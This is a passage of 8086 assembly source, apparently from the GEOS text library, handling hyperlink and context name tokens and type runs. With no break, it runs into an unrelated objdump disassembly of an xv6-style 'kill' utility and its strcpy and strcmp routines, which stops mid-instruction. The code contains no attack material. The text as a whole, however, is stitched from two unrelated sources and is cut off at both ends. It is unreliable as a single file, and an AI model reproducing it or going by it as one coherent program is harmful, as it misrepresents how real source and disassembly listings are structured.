noNameString ;dx <- message to lock clearStack: pop si jmp doDialog nameDefined: mov dx, offset nameDefinedString ;dx <- message to lock doDialog: mov ax, cs mov cx, offset illegalNameContext call DoNameErrorDialog ; ; Free the text block. ; call MemFree clc ;carry <- name in use jmp done GetNameCheckUnique endp LocalDefNLString emptyString <0> LocalDefNLString illegalNameContext <"dbBadName",0> COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DoNameErrorDialog %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Put up a dialog box holding one of the TextTypeStrings CALLED BY: INTERNAL GetNameCheckUnique PASS: es:di = ptr to name dx = offset of string ax:cx = ptr to help context RETURN: nothing DESTROYED: bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 11/ 2/94 Broke out of GetNameCheckUnique %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DoNameErrorDialog proc near ; ; Just complain. ; sub sp, (size StandardDialogParams) mov bp, sp ;ss:bp <- ptr to params mov ss:[bp].SDP_customFlags, CDT_ERROR shl (offset CDBF_DIALOG_TYPE) or GIT_NOTIFICATION shl (offset CDBF_INTERACTION_TYPE) mov ss:[bp].SDP_stringArg1.segment, es mov ss:[bp].SDP_stringArg1.offset, di mov ss:[bp].SDP_helpContext.segment, ax mov ss:[bp].SDP_helpContext.offset, cx call LockNameMessage movdw ss:[bp].SDP_customString, cxdx call UserStandardDialog call UnlockNameMessage ret DoNameErrorDialog endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetNameFromObject %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the text from the passed text object and lock it down. CALLED BY: INTERNAL VisTextSetContextGivenNameText GetNameCheckUnique PASS: ^lbx:di = object holding name RETURN: es:di = ptr to name string bx = handle of locked block cx = string length DESTROYED: ax SIDE EFFECTS: Caller must unlock block when done with it. PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 8/28/94 Broke out of GetNameCheckUnique %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetNameFromObject proc near uses si .enter ; ; Send off to get the text from the object into a freshly ; allocated block. ; mov si, di ; ^lbx:si <- object clr dx ; dx <- alloc new block mov ax, MSG_VIS_TEXT_GET_ALL_BLOCK mov di, mask MF_CALL call ObjMessage mov bx, cx ; bx <- handle of block mov cx, ax ; cx <- length of string ; ; Lock down the name. ; call MemLock mov es, ax clr di ; es:di <- ptr to new name .leave ret GetNameFromObject endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% NameStringToToken %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the name array token for a name string. CALLED BY: INTERNAL VisTextSetContextGivenNameText GetNameCheckUnique PASS: *ds:si = VisText instance data es:di = ptr to name string cx = length of name string RETURN: ax = token for name DESTROYED: ax SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 8/28/94 Broke out of GetNameCheckUnique %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ NameStringToToken proc near uses bp .enter class VisTextClass sub sp, (size VisTextFindNameParams) mov bp, sp ;ss:bp <- ptr to params mov ss:[bp].VTFNP_size, cx ;pass string length mov ss:[bp].VTFNP_name.segment, es mov ss:[bp].VTFNP_name.offset, di ;pass ptr to string clr ss:[bp].VTFNP_data.segment ;pass no buffer mov ax, MSG_VIS_TEXT_FIND_NAME call ObjCallInstanceNoLock add sp, (size VisTextFindNameParams) .leave ret NameStringToToken endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetNameParams %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get common name parameters CALLED BY: UTILITY PASS: ss:bp - VisTextNameCommonParams RETURN: ax - list index cl - VisTextNameType dx - file index (if cl==VTNT_CONTEXT) DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/ 4/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetNameParams proc near .enter mov ax, ss:[bp].VTNCP_index mov cl, ss:[bp].VTNCP_data.VTND_type mov dx, ss:[bp].VTNCP_data.VTND_file .leave ret GetNameParams endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextNameTokensToListIndices %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert type name tokens to their list indices CALLED BY: MSG_VIS_TEXT_NAME_TOKENS_TO_LIST_INDICES PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisTextClass ax - the message ss:bp - VisTextNotifyTypeChange RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cassie 6/16/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextNameTokensToListIndices proc far ; MSG_VIS_TEXT_NAME_TOKENS_TO_LIST_INDICES segmov es, ss, ax FALL_THRU TokensToNames VisTextNameTokensToListIndices endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TokensToNames %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert context/file tokens to the equivalent name list indices CALLED BY: GenTypeNotify() PASS: *ds:si - text object es:bp - VisTextNotifyTypeChange RETURN: none DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/10/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TokensToNames proc far uses ax, bx, cx, dx, di, ds, si .enter call LockNameArray push bx mov bx, SEGMENT_CS mov di, offset VTCountNamesCallback ;bx:di <- callback routine ; ; Convert the hyperlink file, if any ; mov ax, es:[bp].VTNTC_type.VTT_hyperlinkFile mov dx, ax ;dx <- file list token cmp ax, CA_NULL_ELEMENT je gotHFile mov cl, VTNT_FILE ;cl <- VisTextNameType call ElementArrayTokenToUsedIndex gotHFile: inc ax mov es:[bp].VTNTC_index.VTT_hyperlinkFile, ax ; ; Convert the hyperlink context, if any ; mov ax, es:[bp].VTNTC_type.VTT_hyperlinkName cmp ax, CA_NULL_ELEMENT je gotHContext mov cl, VTNT_CONTEXT ;cl <- VisTextNameType call ElementArrayTokenToUsedIndex gotHContext: mov es:[bp].VTNTC_index.VTT_hyperlinkName, ax ; ; Convert the context, if any ; mov ax, es:[bp].VTNTC_type.VTT_context cmp ax, CA_NULL_ELEMENT je gotContext mov cl, VTNT_CONTEXT ;cl <- VisTextNameType mov dx, VIS_TEXT_CURRENT_FILE_TOKEN call ElementArrayTokenToUsedIndex gotContext: mov es:[bp].VTNTC_index.VTT_context, ax pop bx call UnlockNameArray .leave ret TokensToNames endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TokenToName %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert a context or file token to the equivalent name list index. CALLED BY: VisTextDefineName() PASS: *ds:si - text object ax - token to convert cl - VisTextNameType of token in ax if cl = VTNT_CONTEXT dx - file index for context token RETURN: ax - list index of token DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/10/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TokenToName proc far uses bx, cx, dx, di, ds, si .enter call LockNameArray push bx mov bx, SEGMENT_CS mov di, offset VTCountNamesCallback ;bx:di <- callback routine ; ; If we're converting a context token, we must first map ; its associated file index to a file token. ; cmp cl, VTNT_CONTEXT jne notContext push ax, cx mov ax, dx ;ax <- file list index mov cl, VTNT_FILE ;cl <- VisTextNameType call FileNameToToken mov dx, ax ;dx <- file token pop ax, cx notContext: ; ; Now convert our passed context or file token to an index. ; cmp ax, CA_NULL_ELEMENT je gotToken call ElementArrayTokenToUsedIndex ; ; If we're dealing with a file list index, we up it by one to ; take account of the initial "same file" list entry. ; cmp cl, VTNT_FILE jne gotToken inc ax gotToken: pop bx call UnlockNameArray .leave ret TokenToName endp if FULL_EXECUTE_IN_PLACE TextNameType ends TextAttributes segment resource endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetHyperlinkCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Apply a hyperlink change CALLED BY: TypeChangeCommon() via ModifyRun() PASS: ss:bp - VisTextStype dx - token of file ax - token of context RETURN: none DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/ 9/92 updated, added header %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetHyperlinkCallback proc far mov ss:[bp].VTT_hyperlinkFile, dx mov ss:[bp].VTT_hyperlinkName, ax ret SetHyperlinkCallback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetContextCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Apply a context change CALLED BY: TypeChangeCommon() via ModifyRun() PASS: ss:bp - VisTextType structure ax - token of context RETURN: none DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/ 9/92 updated, added header %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetContextCallback proc far mov ss:[bp].VTT_context, ax ret SetContextCallback endp COMMENT @---------------------------------------------------------------------- FUNCTION: TypeChangeCommon DESCRIPTION: Do a change for a type routine CALLED BY: INTERNAL PASS: *ds:si - instance data (VisTextInstance) ss:bp - VisTextRange ax, dx - callback data di - offset of callback RETURN: none DESTROYED: ax, bx, cx, dx, di REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 11/89 Initial version ------------------------------------------------------------------------------@ TypeChangeCommon proc far call UnHiliteAndFixupCharAttrRange push bx ;save vm file push ax mov ax, offset FormattingString call TU_StartChainIfUndoable pop ax mov cx, cs ;segment of callback ; ; modify the type run ; mov bx, OFFSET_FOR_TYPE_RUNS EC < call ECCheckRun ;> call ModifyRun EC < call ECCheckRun ;> call UpdateLastRunPositionByRunOffset call TU_EndChainIfUndoable pop bx call ReflectChangeUpdateGeneric ret TypeChangeCommon endp if FULL_EXECUTE_IN_PLACE TextAttributes ends TextNameType segment resource endif TextAttributes segment resource COMMENT @---------------------------------------------------------------------- METHOD: VisTextGetType -- MSG_VIS_TEXT_GET_TYPE for VisTextClass DESCRIPTION: Return the type structure for the selected area. PASS: *ds:si - instance data (VisTextInstance) dx - size VisTextGetAttrParams (if called remotely) ss:bp - VisTextGetAttrParams structure RETURN: ax - type token (0 if multiple) buffer - filled dx - VisTextTypeDiffs DESTROYED: dx, di REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/89 Initial version ------------------------------------------------------------------------------@ VTGT_Frame struct VTGT_element VisTextType <> VTGT_diffs VisTextTypeDiffs ; the following fields are pushed on the stack VTGT_passedFrame word ;frame passed VTGT_Frame ends VisTextGetType proc far ; MSG_VIS_TEXT_GET_TYPE class VisTextClass push si, ds ; zero out return values test ss:[bp].VTGAP_flags, mask VTGAF_MERGE_WITH_PASSED jnz skipZero les di, ss:[bp].VTGAP_return clr ax stosw CheckHack <(size VisTextTypeDiffs) eq 2> skipZero: ; allocate stack space and save vars movdw dxax, ss:[bp].VTR_start mov di, bp push bp ;passed frame sub sp, (size VTGT_Frame)-2 mov bp, sp ; if no types then bail mov bx, ds:[si] add bx, ds:[bx].Vis_offset test ds:[bx].VTI_storageFlags, mask VTSF_TYPES LONG jz noTypes ; init locals clr ss:[bp].VTGT_diffs ;no differences ; multiple types xchg di, bp call FixupCharAttrRange clr bx call TA_GetTextRange ; first fill the buffer with the first run push si, ds movdw dxax, ss:[bp].VTR_start cmpdw dxax, ss:[bp].VTR_end ;if area selected then xchg bp, di mov bx, OFFSET_FOR_TYPE_RUNS jnz getRight ;don't use run to the left ; no area selected -- check for insertion element call GetInsertionElement cmp bx, CA_NULL_ELEMENT jz noInsertionElement ; insertion element exists - return it push bx call FarLockTypeRunArray pop bx call GetElement call FarRunArrayUnlock pop si, ds mov di, ss:[bp].VTGT_passedFrame mov_tr ax, bx ;ax = token jmp oneRun noInsertionElement: mov bx, OFFSET_FOR_TYPE_RUNS call TSL_IsParagraphStart jc getRight call FarGetRunForPositionLeft ;returns bx = token jmp common getRight: call FarGetRunForPosition ;returns bx = token common: push di mov di, ss:[bp].VTGT_passedFrame test ss:[di].VTGAP_flags, mask VTGAF_MERGE_WITH_PASSED pop di jnz skipGet2 call GetElement skipGet2: ; if (selectionEnd >= run.end) { ; selection in one run, return token ; } else { ; selection in more than one run, return 0 ; } push bx call FarRunArrayNext ;dxax = next run position pop bx call FarRunArrayUnlock pop si, ds mov di, ss:[bp].VTGT_passedFrame cmpdw dxax, ss:[di].VTR_end mov_tr ax, bx ;ax = token jae oneRun ; use enumeration function to scan all runs mov dx, offset GetTypeCallback xchg di, bp mov bx, OFFSET_FOR_TYPE_RUNS call EnumRunsInRange xchg di, bp clr ax ;return multiple tokens oneRun: ; fill the destination buffer segmov ds, ss ;ds:si = source mov si, bp les di, ss:[di].VTGAP_attr ;es:di = dest mov cx, (size VisTextType)/2 rep movsw mov dx, ss:[bp].VTGT_diffs ;dx <- VisTextTypeDiffs ; recover local space done: add sp, (size VTGT_Frame)-2 pop bp pop si, ds ret ; ; This text object has no types -- return no links no contexts ; noTypes: les di, ss:[di].VTGAP_attr add di, (offset VTT_hyperlinkName) ;es:di <- ptr to return buffer mov ax, -1 stosw stosw stosw CheckHack <(size VTT_hyperlinkName)+(size VTT_hyperlinkFile)+(size VTT_context) eq 6> jmp done VisTextGetType endp ; ; NOTE: GetTypeCallback() *must* be in the same resource as EnumRunsInRange(), ; as it does a near callback. ; COMMENT @---------------------------------------------------------------------- FUNCTION: GetTypeCallback DESCRIPTION: Mark the differences between the given type and the base type CALLED BY: INTERNAL -- Callback from EnumRunsInRange (from VisTextGetType) PASS: ss:bp - element from run ss:di - VTGT_Frame RETURN: cx - updated DESTROYED: ax REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/89 Initial version ------------------------------------------------------------------------------@ GetTypeCallback proc near mov cx, ss:[di].VTGT_diffs ;cx <- VisTextTypeDiffs ; compare hyperlinks mov ax, ss:[bp].VTT_hyperlinkFile cmp ax, ss:[di].VTT_hyperlinkFile jnz linkDifferent mov ax, ss:[bp].VTT_hyperlinkName cmp ax, ss:[di].VTT_hyperlinkName jz linkSame linkDifferent: ornf cx, mask VTTD_MULTIPLE_HYPERLINKS linkSame: ; compare contexts mov ax, ss:[bp].VTT_context cmp ax, ss:[di].VTT_context jz contextSame ornf cx, mask VTTD_MULTIPLE_CONTEXTS contextSame: mov ss:[di].VTGT_diffs, cx ;save new diffs ;--- ret GetTypeCallback endp TextAttributes ends COMMENT @---------------------------------------------------------------------- METHOD: VisTextTypeAdd -- MSG_VIS_TEXT_ADD_TYPE for VisTextClass DESCRIPTION: Add a given type to the type array and initialize its reference count to one. *** Note: Calling this method on a text object that does not have *** multiple types will result in a fatal error. PASS: *ds:si - instance data (VisTextInstance) dx - size VisTextType (if callem remotely) ss:bp - VisTextType RETURN: ax - type token DESTROYED: dx, si, ds REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/89 Initial version ------------------------------------------------------------------------------@ VisTextTypeAdd proc far ; MSG_VIS_TEXT_ADD_TYPE class VisTextClass call LockTypeRunArray EC < call ECCheckType > call AddElement call FarRunArrayUnlock ret VisTextTypeAdd endp COMMENT @---------------------------------------------------------------------- METHOD: VisTextTypeRemove -- MSG_VIS_TEXT_ADD_TYPE for VisTextClass DESCRIPTION: Remove a given type from the type array. *** Note: Calling this method on a text object that does not have *** multiple types will result in a fatal error. PASS: *ds:si - instance data (VisTextInstance) cx - token to remove RETURN: ax - type token DESTROYED: dx, si, ds REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/89 Initial version ------------------------------------------------------------------------------@ VisTextTypeRemove proc far ; MSG_VIS_TEXT_REMOVE_TYPE class VisTextClass call LockTypeRunArray call RemoveElement call FarRunArrayUnlock ret VisTextTypeRemove endp COMMENT @---------------------------------------------------------------------- FUNCTION: TypeRunCopynames DESCRIPTION: Copy names referenced by element CALLED BY: TA_CopyRunToTransfer PASS: ss:bp - blah... RETURN: none DESTROYED: ax, bx, cx, dx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/30/91 Initial version ------------------------------------------------------------------------------@ if 0 TA_CopyRunToTransfer proc near ; if type then copy all name names within mov ax, ss:[bp].TCF_testRunOffset cmp ax, offset VTI_types jnz notTypes mov ax, ss:[bp].VTT_hyperlinkName call CopyName mov ss:[bp].VTT_hyperlinkName, ax mov ax, ss:[bp].VTT_hyperlinkFile call CopyName mov ss:[bp].VTT_hyperlinkFile, ax mov ax, ss:[bp].VTT_context call CopyName mov ss:[bp].VTT_context, ax ret notTypes: ; if charAttr then copy name and special case if name already exists cmp ax, offset VTI_charAttrs jnz notCharAttrs mov bx, ss:[bp].VTS_name call CopyCharAttrSheet mov ss:[bp].VTS_name, bx call CopyName ret notCharAttrs: ; if paraAttr then copy name and special case if name already exists cmp ax, offset VTI_graphics jnz notParaAttrs mov bx, ss:[bp].VTR_name call CopyName mov ss:[bp].VTR_name, ax notParaAttrs: ret TA_CopyRunToTransfer endp COMMENT @---------------------------------------------------------------------- FUNCTION: CopyName DESCRIPTION: Copy a name from one element array to another CALLED BY: INTERNAL PASS: *ds:si - object ax - name (in source) ss:bp - TransCommonFrame RETURN: ax - name (in destination) DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/30/91 Initial version ------------------------------------------------------------------------------@ CopyName proc near lea dx, ss:[bp].TCF_name call LoadNameInSource ; see if the name exists in the destination lea dx, ss:[bp].TCF_name call FindNameInDest jc done lea dx, ss:[bp].TCF_name call AddNameInDest done: ret CopyName endp COMMENT @---------------------------------------------------------------------- FUNCTION: LoadNameInSource DESCRIPTION: Find a name in the source names CALLED BY: INTERNAL PASS: ss:bp - TransCommonFrame ss:dx - buffer for name ax - name token RETURN: ss:[bp].TCF_name - set DESTROYED: ax, bx, cx, dx, si, ds REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 10/ 1/91 Initial version ------------------------------------------------------------------------------@ LoadNameInSource proc near call ss:[bp].TCF_loadSourceNames mov cx, ss push bp mov_tr bp, ax call FindNameByTokenCommon pop bp ret LoadNameInSource endp COMMENT @---------------------------------------------------------------------- FUNCTION: FindNameInDest DESCRIPTION: Find a name in the destination name array CALLED BY: INTERNAL PASS: ss:bp - TransCommonFrame ss:dx - name RETURN: buffer - filled in found carry - set if found ax - token in dest if found (or 0 if types differ) DESTROYED: bx, cx, dx, si, di, ds REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 10/ 1/91 Initial version ------------------------------------------------------------------------------@ FindNameInDest proc near mov bx, dx push ss:[bx].VTN_type mov ss:[bp].TCF_findNameParams.VTFNP_name.segment, ss add dx, offset VTN_string mov ss:[bp].TCF_findNameParams.VTFNP_name.offset, dx mov ss:[bp].TCF_findNameParams.VTFNP_size, 0 mov ss:[bp].TCF_findNameParams.VTFNP_return.segment, ss lea ax, ss:[bp].TCF_findNameReturn mov ss:[bp].TCF_findNameParams.VTFNP_return.offset, ax call ss:[bp].TCF_loadDestNames push bp lea bp, ss:[bp].TCF_findNameParams call FindNameCommon pop bp pop ax ;ax = type passed jnc done ; found name -- test type cmp ax, ss:[bp].TCF_findNameReturn.VTFNR_type mov ax, 0 jnz doneGood mov ax, ss:[bp].TCF_findNameReturn.VTFNR_token doneGood: stc done: ret FindNameInDest endp COMMENT @---------------------------------------------------------------------- FUNCTION: AddNameInDest DESCRIPTION: Add a name in the destination name array CALLED BY: INTERNAL PASS: ss:bp - TransCommonFrame ss:dx - name RETURN: ax - name token DESTROYED: bx, cx, dx, si, di, ds REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 10/ 1/91 Initial version ------------------------------------------------------------------------------@ AddNameInDest proc near ; set up parameters to AddNameCommon mov bx, dx mov ax, ss:[bx].VTN_type mov ss:[bp].TCF_addNameParams.VTANP_type, ax mov ss:[bp].TCF_addNameParams.VTANP_flags, 0 mov ax, ss:[bx].VTN_data[0] mov ss:[bp].TCF_addNameParams.VTANP_data[0], ax mov ax, ss:[bx].VTN_data[1] mov ss:[bp].TCF_addNameParams.VTANP_data[1], ax mov ax, ss:[bx].VTN_data[2] mov ss:[bp].TCF_addNameParams.VTANP_data[2], ax mov ax, ss:[bx].VTN_data[3] mov ss:[bp].TCF_addNameParams.VTANP_data[3], ax mov ss:[bp].TCF_addNameParams.VTANP_name.segment, ss add dx, offset VTN_string mov ss:[bp].TCF_addNameParams.VTANP_name.offset, dx mov ss:[bp].TCF_addNameParams.VTANP_size, 0 call ss:[bp].TCF_loadDestNames push bp lea bp, ss:[bp].TCF_addNameParams call AddNameCommon pop bp EC < ERROR_NC NAME_SHOULD_NOT_HAVE_EXISTED > ret AddNameInDest endp endif COMMENT @---------------------------------------------------------------------- FUNCTION: ECCheckType DESCRIPTION: Make sure that a VisTextType structure is legal CALLED BY: INTERNAL PASS: *ds:si - instance ss:bp - VisTextType RETURN: none DESTROYED: none -- FLAGS PRESERVED REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/90 Initial version ------------------------------------------------------------------------------@ if ERROR_CHECK ECCheckType proc near uses ax, bx, cx, di, es .enter pushf ; reference count -- must be <= 10000 tst ss:[bp].VTT_meta.REH_refCount.WAAH_high ERROR_NZ VIS_TEXT_TYPE_HAS_REF_COUNT_OVER_10000 cmp ss:[bp].VTT_meta.REH_refCount.WAAH_low, 10000 ERROR_A VIS_TEXT_TYPE_HAS_REF_COUNT_OVER_10000 popf .leave ret ECCheckType endp endif TextNameType ends
_kill: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char **argv) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 57 push %edi e: 56 push %esi f: 53 push %ebx 10: 51 push %ecx 11: bb 01 00 00 00 mov $0x1,%ebx 16: 83 ec 08 sub $0x8,%esp 19: 8b 31 mov (%ecx),%esi 1b: 8b 79 04 mov 0x4(%ecx),%edi int i; if(argc < 2){ 1e: 83 fe 01 cmp $0x1,%esi 21: 7e 27 jle 4a <main+0x4a> 23: 90 nop 24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi printf(2, "usage: kill pid...\n"); exit(); } for(i=1; i<argc; i++) kill(atoi(argv[i])); 28: 83 ec 0c sub $0xc,%esp 2b: ff 34 9f pushl (%edi,%ebx,4) if(argc < 2){ printf(2, "usage: kill pid...\n"); exit(); } for(i=1; i<argc; i++) 2e: 83 c3 01 add $0x1,%ebx kill(atoi(argv[i])); 31: e8 fa 01 00 00 call 230 <atoi> 36: 89 04 24 mov %eax,(%esp) 39: e8 94 02 00 00 call 2d2 <kill> if(argc < 2){ printf(2, "usage: kill pid...\n"); exit(); } for(i=1; i<argc; i++) 3e: 83 c4 10 add $0x10,%esp 41: 39 de cmp %ebx,%esi 43: 75 e3 jne 28 <main+0x28> kill(atoi(argv[i])); exit(); 45: e8 58 02 00 00 call 2a2 <exit> main(int argc, char **argv) { int i; if(argc < 2){ printf(2, "usage: kill pid...\n"); 4a: 50 push %eax 4b: 50 push %eax 4c: 68 30 07 00 00 push $0x730 51: 6a 02 push $0x2 53: e8 b8 03 00 00 call 410 <printf> exit(); 58: e8 45 02 00 00 call 2a2 <exit> 5d: 66 90 xchg %ax,%ax 5f: 90 nop 00000060 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 60: 55 push %ebp 61: 89 e5 mov %esp,%ebp 63: 53 push %ebx 64: 8b 45 08 mov 0x8(%ebp),%eax 67: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 6a: 89 c2 mov %eax,%edx 6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 70: 83 c1 01 add $0x1,%ecx 73: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 77: 83 c2 01 add $0x1,%edx 7a: 84 db test %bl,%bl 7c: 88 5a ff mov %bl,-0x1(%edx) 7f: 75 ef jne 70 <strcpy+0x10> ; return os; } 81: 5b pop %ebx 82: 5d pop %ebp 83: c3 ret 84: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000090 <strcmp>: int strcmp(const char *p, const char *q) { 90: 55 push %ebp 91: 89 e5 mov %esp,%ebp 93: 56 push %esi 94: 53 push %ebx 95: 8b 55 08 mov 0x8(%ebp),%edx 98: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 9b: 0f b6 02 movzbl (%edx),%eax 9e: 0f b6 19 movzbl (%ecx),%ebx a1: 84 c0 test %al,%al a3: 75 1e jne c3 <strcmp+0x33> a5: eb 29 jmp d0 <strcmp+0x40> a7: 89 f6 mov %esi,%esi a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; b0: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) b3: 0f b6 02 movzbl (%edx),%eax p++, q++; b6: 8d 71 01 lea 0x1(%ecx),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) b9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx bd: 84 c0 test %al,%al bf: 74 0f je d0 <strcmp+0x40> c1: 89 